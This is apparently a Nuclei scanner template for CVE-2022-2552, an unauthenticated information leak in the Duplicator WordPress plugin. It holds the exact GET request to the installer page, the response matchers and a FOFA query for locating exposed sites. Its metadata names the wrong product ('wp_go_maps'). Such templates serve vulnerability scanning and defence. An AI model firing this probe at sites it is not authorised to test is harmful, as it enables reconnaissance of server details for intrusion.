id: CVE-2022-2552

info:
  name: Duplicator < 1.4.7.1 - Information Disclosure
  author: iamnoooob,ritikchaddha
  severity: medium
  description: |
    The Duplicator WordPress plugin before 1.4.7 does not authenticate or authorize visitors before displaying information about the system such as server software, php version and full file system path to the site.
  reference:
    - https://wpscan.com/vulnerability/6b540712-fda5-4be6-ae4b-bd30a9d9d698/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2552
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-2552
    cwe-id: CWE-862
    cpe: cpe:2.3:a:snapcreek:duplicator:*:*:*:*:lite:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="/wp-content/plugins/duplicator"
    vendor: snapcreek
    product: wp_go_maps
  tags: cve,cve2022,wp,wp-plugin,wordpress,duplicator,disclosure

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/backups-dup-lite/dup-installer/main.installer.php?view=1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'SERVER DETAILS</div>'
          - 'Setup Information'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100db01b2699182dc57751de82a9eef15b31667bbd8758379ff77debd5358a7ac55022100eed2ca3bd7837f287753f99d7cf8603ecd54d3e9d0359a4133f0a931a9df4c9e:922c64590222798bb761d5b6d8e72950